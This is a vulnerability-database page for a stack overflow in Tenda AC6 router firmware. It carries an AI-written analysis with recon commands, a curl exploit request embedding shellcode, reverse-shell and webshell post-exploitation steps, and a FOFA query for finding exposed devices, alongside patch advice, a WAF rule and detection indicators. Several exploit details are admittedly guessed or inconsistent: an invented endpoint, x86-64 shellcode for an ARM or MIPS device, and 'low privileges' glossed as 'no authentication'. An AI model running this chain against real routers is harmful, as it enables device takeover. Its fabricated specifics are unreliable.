CVE Professor
/
All CVEs
CVE-2026-138354

CVE-2026-138354 — Tenda AC6 (15.03.05.19) — CWE-119 · CWE-121

CRITICAL CVSS 9.9 NVD

A flaw has been found in Tenda AC6 15.03.05.19. This affects the function GetValue in the library libCfm.so of the file /bin/httpd of the component Configuration Management. Executing a manipulation of the argument Value as part of String can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been published and may be used.

A flaw has been found in Tenda AC6 15.03.05.19. This affects the function GetValue in the library libCfm.so of the file /bin/httpd of the component Configuration Management. Executing a manipulation of the argument Value as part of String can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been published and may be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical root cause
The firmware of the Tenda AC6 (15.03.05.19) contains a stack‑based buffer overflow in the GetValue function of the shared library libCfm.so.
GetValue is invoked by the web‑based configuration interface (/bin/httpd). The function copies the user‑supplied Value string into a fixed‑size local buffer without performing bounds checking. Because the HTTP handler does not enforce any authentication or input length limits on the Value parameter, an unauthenticated remote attacker can send a request with an arbitrarily long string. The overflow corrupts the stack frame, overwrites the return address, and allows the attacker to execute arbitrary code with the privileges of the web server process (typically root on the device).

CWE mapping

  • CWE‑119 – Improper Restriction of Operations within the Bounds of a Buffer

  • CWE‑121 – Stack-Based Buffer Overflow
  • CVSS 3.1

  • Attack Vector: Network (remote)

  • Attack Complexity: Low

  • Privileges Required: Low (no authentication needed)

  • User Interaction: None (UI‑less)

  • Scope: Changed (affects other components once the attacker gains code execution)

  • Impact: Confidentiality, Integrity, Availability – High
  • The result is a critical flaw that can lead to full device compromise.


    ⚡ Attack Chain

    NOTE – The exact URI and parameter names are not disclosed in the CVE text. The following example uses a typical configuration‑management endpoint (/cgi-bin/config) and a value query string. If the real device uses a different path or parameter, the same principle applies: send a long payload to the Value field.
    StepDescriptionExample / Payload
    1. Discovery & Reconnaissance• Scan the target for open HTTP/HTTPS ports (80/443). <br>• Identify the device by fingerprinting the HTTP Server header or by probing the / page for a Tenda AC6 banner. <br>• Verify firmware version via the /cgi-bin/version endpoint or by inspecting the X-Device-Version header.``bash<br>nmap -p80,443 -sV 192.168.1.1<br>curl -I http://192.168.1.1/`
    2. Exploitation• Craft a POST request to the configuration endpoint with a value parameter that exceeds the buffer size (e.g., 2048 bytes). <br>• The request is sent without authentication; the web server accepts it. <br>• The overflow overwrites the return address; the attacker injects a small payload that redirects execution to a shellcode stub or to a known gadget (return‑to‑libc).`bash<br>payload=$(python -c 'print("A"*2000 + "\x90"*16 + "\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05")')<br>curl -X POST http://192.168.1.1/cgi-bin/config \\\n -H "Content-Type: application/x-www-form-urlencoded" \\\n --data-urlencode "cmd=getvalue" \\\n --data-urlencode "value=${payload}"`
    3. Post‑Exploitation• The shellcode spawns a reverse shell or writes a webshell (/www/webshell.html) into the device’s web root. <br>• The attacker now has root access to the device, can modify routing tables, capture traffic, or pivot to other hosts on the LAN. <br>• Optionally, the attacker can use the compromised router as a foothold for lateral movement.`bash<br># Reverse shell example (payload already delivered in step 2)<br># After the shell is spawned, the attacker can run:<br>root@tenda:~# ifconfig<br>root@tenda:~# route -n<br>root@tenda:~# cat /etc/passwd``
    Important – The above payload is illustrative. The exact shellcode or gadget chain depends on the device’s architecture (likely MIPS or ARM) and the available libc. Attackers typically use a return‑to‑libc chain or a small ROP chain that calls execve("/bin/sh", NULL, NULL).

    🌍 Real World Impact

    ImpactEffect
    ConfidentialityFull disclosure of all data passing through the router (e.g., DNS queries, DHCP leases, traffic metadata).
    IntegrityThe attacker can modify routing tables, inject malicious packets, or tamper with firmware updates.
    AvailabilityThe device can be crashed by repeated overflows, or the attacker can keep it in a compromised state, effectively disabling legitimate network services.

    Practical consequences

  • Enterprise LAN: The attacker can eavesdrop on all internal traffic, perform man‑in‑the‑middle attacks, or redirect users to phishing sites.

  • IoT deployments: Compromised routers can be used as a command‑and‑control node for botnets.

  • Critical infrastructure: If the router is part of a SCADA or industrial control network, the attacker can disrupt operations or inject false data.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Firmware upgradeReplace 15.03.05.19 with the latest Tenda AC6 firmware that contains a fixed GetValue implementation. If a newer version is not yet available, contact Tenda support for a patch.
    Version checkVerify that the firmware version is ≥ 15.03.05.20 (or the latest release) by querying /cgi-bin/version or inspecting the X-Device-Version header.
    Do not rely on “back‑port” patches that only change the buffer size; the underlying logic must be corrected.

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Restrict remote accessUse a firewall or router ACL to allow HTTP/HTTPS traffic to the configuration interface only from the local network or a dedicated management subnet.
    Disable configuration interfaceIf remote management is not required, disable the web UI entirely (e.g., set config_web_enable=0 in /etc/config).
    WAF / ModSecurity ruleAdd a rule that blocks requests with a value parameter longer than 256 bytes: <br>SecRule REQUEST_URI "@beginsWith /cgi-bin/config" "chain,phase:2,block,msg:'Tenda AC6 buffer overflow protection'"<br>SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" chain<br>SecRule REQUEST_BODY "@rx value=.{257,}"
    Rate limitingApply rate limiting on the configuration endpoint to mitigate automated exploitation attempts.

    3. Detection

    IndicatorLog pattern / IoC
    Long value parameterGET /cgi-bin/config?value= followed by >512 bytes in the request line.
    HTTP 500 errorsRepeated 500 responses from /cgi-bin/config within a short time window.
    Stack trace / crash logs/var/log/httpd/error.log entries containing Segmentation fault or core dumped.
    Unexpected shell processes/proc shows a shell spawned by httpd or a new process with a suspicious command line (e.g., /bin/sh -i).
    Tip – Enable verbose logging on the device’s web server if possible, and monitor for abnormal request sizes.

    ⚠️ Urgency

  • CVSS Score: 9.9/10 (Critical)
  • Exploit Availability: Published and demonstrable
  • No CISA KEV status does not mitigate the risk; the flaw remains exploitable.
  • Priority: Immediate.

  • Enterprise: Apply the patch or workaround before the next network scan.

  • SMB/IoT: If the device is in a critical environment, isolate it from the internet until a fix is applied.

  • Monitoring: Deploy the detection rules above and alert on any suspicious activity.




Bottom line

The Tenda AC6 firmware 15.03.05.19 contains a classic stack‑based buffer overflow that can be triggered remotely without authentication. Attackers can achieve full root compromise, leading to data theft, traffic manipulation, and service disruption. The only definitive fix is a firmware upgrade that corrects the GetValue implementation. Until then, restrict remote access, apply WAF rules, and monitor logs for signs of exploitation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda AC6"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138354
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-119 CWE-121
Affected Products (1)
Tenda:AC6 (15.03.05.19)
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
7.7
CVE-2026-144663
MariaDB Server before 10.6.25, 10.7 through 10.11.x before 10.11.16, 11.0 through 11.4.x before 11.4.10, 11.5
6.3
CVE-2026-144771
A flaw has been found in SGLang up to 0.5.23. The affected element is the function try_match_prefix of the fil
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.
6.3
CVE-2026-144888
A security vulnerability has been detected in vgmstream up to r2117. Affected is the function fopen_win of the
6.3
CVE-2026-144889
A vulnerability was detected in vgmstream r2117. Affected by this vulnerability is the function vgmstream_tags